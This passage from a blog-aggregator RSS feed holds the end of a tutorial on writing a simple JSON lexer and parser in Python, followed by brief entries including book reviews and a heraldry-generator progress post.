    &lt;span class="n"&gt;string_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;string_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL_LEN&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; \
       &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;NULL_LEN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'null'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NULL_LEN&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And now the lexer code is done! See the
&lt;a href="https://github.com/eatonphil/pj/blob/master/pj/lexer.py"&gt;pj/lexer.py&lt;/a&gt;
for the code as a whole.&lt;/p&gt;
&lt;h3 id="syntactic-analysis"&gt;Syntactic analysis&lt;/h3&gt;&lt;p&gt;The syntax analyzer's (basic) job is to iterate over a one-dimensional
list of tokens and match groups of tokens up to pieces of the language
according to the definition of the language. If, at any point during
syntactic analysis, the parser cannot match the current set of tokens up
to a valid grammar of the language, the parser will fail and possibly
give you useful information as to what you gave, where, and what it
expected from you.&lt;/p&gt;
&lt;h4 id="implementing-a-json-parser"&gt;Implementing a JSON parser&lt;/h4&gt;&lt;p&gt;The gist of the JSON parser will be to iterate over the tokens
received after a call to &lt;code&gt;lex&lt;/code&gt; and try to match the tokens to objects,
lists, or plain values.&lt;/p&gt;
&lt;p&gt;Here is what the parser should return for an example input:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'{&amp;quot;foo&amp;quot;: [1, 2, {&amp;quot;bar&amp;quot;: 2}]}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;assert_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'{'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'foo'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'['&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'{'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'bar'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;']'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'}'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;assert_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
             &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'foo'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'bar'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;}]})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here is what this logic might begin to look like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_LEFTBRACKET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parse_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_LEFTBRACE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parse_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A key structural difference between this lexer and parser is that the
lexer returns a one-dimensional array of tokens. Parsers are often
defined recursively and returns a recursive, tree-like object. Since
JSON is a data serialization format instead of a language, the parser
should produce objects in Python rather than a syntax tree on which
you could perform more analysis (or code generation in the case of a
compiler).&lt;/p&gt;
&lt;p&gt;And, again, the benefit of having the lexical analysis happen
independent from the parser is that both pieces of code are simpler
and concerned with only specific elements.&lt;/p&gt;
&lt;h4 id="parsing-arrays"&gt;Parsing arrays&lt;/h4&gt;&lt;p&gt;Parsing arrays is a matter of parsing array members and expecting a
comma token between them or a right bracket indicating the end
of the array.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;json_array&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_RIGHTBRACKET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json_array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;json_array&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_RIGHTBRACKET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json_array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;JSON_COMMA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected comma after object in array'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected end-of-array bracket'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="parsing-objects"&gt;Parsing objects&lt;/h4&gt;&lt;p&gt;Parsing objects is a matter of parsing a key-value pair internally
separated by a colon and externally separated by a comma until you
reach the end of the object.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;json_object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_RIGHTBRACE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json_object&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;json_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected string key, got: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;JSON_COLON&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected colon after key in object, got: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="n"&gt;json_value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;

        &lt;span class="n"&gt;json_object&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;json_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json_value&lt;/span&gt;

        &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_RIGHTBRACE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json_object&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;JSON_COMMA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected comma after pair in object, got: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected end-of-object brace'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And now the parser code is done! See the
&lt;a href="https://github.com/eatonphil/pj/blob/master/pj/parser.py"&gt;pj/parser.py&lt;/a&gt;
for the code as a whole.&lt;/p&gt;
&lt;h3 id="unifying-the-library"&gt;Unifying the library&lt;/h3&gt;&lt;p&gt;To provide the ideal interface, create the &lt;code&gt;from_string&lt;/code&gt; function
wrapping the &lt;code&gt;lex&lt;/code&gt; and &lt;code&gt;parse&lt;/code&gt; functions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;from_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And the library is complete! (ish). Check out the &lt;a href="https://github.com/eatonphil/pj"&gt;project on
Github&lt;/a&gt; for the full implementation
including basic testing setup.&lt;/p&gt;
&lt;h3 id="appendix-a:-single-step-parsing"&gt;Appendix A: Single-step parsing&lt;/h3&gt;&lt;p&gt;Some parsers choose to implement lexical and syntactic analysis in one
stage. For some languages this can simplify the parsing stage
entirely. Or, in more powerful languages like Common Lisp, it can
allow you to dynamically extend the lexer and parser in one step with
&lt;a href="https://gist.github.com/chaitanyagupta/9324402"&gt;reader macros&lt;/a&gt;.&lt;/p&gt;
&lt;p class="note"&gt;
  I wrote this library in Python to make it more accessible to
  a larger audience. However, many of the techniques used are more
  amenable to languages with pattern matching and support for monadic
  operations -- like Standard ML. If you are curious what this same
  code would look like in Standard ML, check out the &lt;a href="https://github.com/eatonphil/ponyo/blob/master/src/Encoding/Json.sml"&gt;JSON
  code in Ponyo&lt;/a&gt;.
&lt;/p&gt;&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;I wrote a short post (and a corresponding Python library) explaining lexing and parsing with JSON &lt;a href="https://t.co/3yEZlcU6i5"&gt;https://t.co/3yEZlcU6i5&lt;/a&gt; &lt;a href="https://t.co/FbksvUO9aT"&gt;https://t.co/FbksvUO9aT&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/json?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#json&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/python?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#python&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/993251098931712005?ref_src=twsrc%5Etfw"&gt;May 6, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Sun, 06 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/writing-a-simple-json-parser.html</guid></item><item><title>From loneliness to smart cities, in one sentence</title><link>https://stop.zona-m.net/2018/05/from-loneliness-to-smart-cities-in-one-sentence/</link><description>&lt;p&gt;A very interesting article from India says, among other things, something we in so-called &amp;ldquo;first world&amp;rdquo; countries already knew, but says it well:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 05 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/from-loneliness-to-smart-cities-in-one-sentence/</guid></item><item><title>May 2018 Project List</title><link>https://venam.net/blog/programming/2018/05/06/may-2018-projects.html</link><description>Five months have past since my last post about personal projects.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 05 May 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/programming/2018/05/06/may-2018-projects.html</guid></item><item><title>Armada by Ernest Cline</title><link>https://ilearnt.com/blog/armada/</link><description>&lt;p&gt;Took me a little while to get into this book. It starts out in a school where a pupil spots a spaceship from his favourite video game. This then moves on to it being a precursor to an invasion by the aliens from the video game and the game itself was actually put together as training so the players could pilot drones in the war. A slightly surreal concept but pretty well executed. The &amp;ldquo;twist&amp;rdquo; with the main characters dad is a bit contrived but overall not a bad read - enjoyed it more as it went along. Not as good as Ready Player One.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 05 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/armada/</guid></item><item><title>The bosses who change our lives</title><link>https://ilearnt.com/blog/thebossesweremember/</link><description>&lt;p&gt;I have been very fortunate in my career to have some exceptional bosses that have had a massive impact on my career.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 05 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/thebossesweremember/</guid></item><item><title>Zero to One by Peter Thiel</title><link>https://ilearnt.com/blog/zerotoone/</link><description>&lt;p&gt;I had read a lot of good things about this book and it had sat on my Kindle for a long time. Really enjoyed the first half of the book but thought the second half was more focused on things that weren&amp;rsquo;t relevant to me. There were some statements made that were clearly opinions but were stated as facts. Overall a bit disappointing.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 05 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/zerotoone/</guid></item><item><title>Why Scrum doesn't work?</title><link>https://stribny.name/posts/why-scrum-doesnt-work/</link><author>Posts by Petr Stribny</author><pubDate>Sat, 05 May 2018 12:47:41 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/why-scrum-doesnt-work/</guid></item><item><title>Heraldry Generation Pt. 3: Animal Charges and Windows Builds</title><link>https://benovermyer.com/blog/2018/05/heraldry-generation-pt-3-animal-charges-and-windows-builds/</link><description>&lt;p&gt;Since the last entry, I've made several changes to both the program logic and its features.&lt;/p&gt;
&lt;p&gt;The main change to the logic is in how charges are rendered. Instead of all of the SVG rendering code being in one file, now the more complex charges each have their own file. This was necessary, since the lines of text required for each complex charge (e.g., animals) is enormous. SVG files lay out pathways as a series of points, and with the large number of points involved in these shapes, the line count gets huge.&lt;/p&gt;
&lt;p&gt;The main feature update is that now I've added a handful of animal charges. I got the first four (dragon passant, fox passant, gryphon passant, and eagle displayed) from &lt;a href="https://github.com/victorwestmann/Heraldry" rel="external"&gt;an open source repository by Victor Westmann&lt;/a&gt;. The fifth, the lion rampant, is from a vector stock set that I purchased from VectorStock and converted to SVG myself. This last one was an experiment to see if I could do translations myself. Future images will likely come from public domain images, since I don't fully trust the wording of the license VectorStock granted me.&lt;/p&gt;
&lt;p&gt;Here are some examples of the new charges:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Per bend sable and vert, a fox passant Or" src="https://benovermyer.com/heraldry-pt-3/fox-device.svg" /&gt; &lt;img alt="Per bend sinister purpure and sable, a eagle displayed argent" src="https://benovermyer.com/heraldry-pt-3/eagle-device.svg" /&gt; &lt;img alt="Per bend sinister argent and Or, a gryphon passant azure" src="https://benovermyer.com/heraldry-pt-3/gryphon-device.svg" /&gt; &lt;img alt="Per pale purpure and vert, a dragon passant argent" src="https://benovermyer.com/heraldry-pt-3/dragon-device.svg" /&gt; &lt;img alt="Per bend sinister gules and sable, a lion rampant Or" src="https://benovermyer.com/heraldry-pt-3/lion-device.svg" /&gt;&lt;/p&gt;
&lt;p&gt;Finally, the last update is that I'm now building macOS and Windows executables for the heraldry generator. You can find them here:&lt;/p&gt;
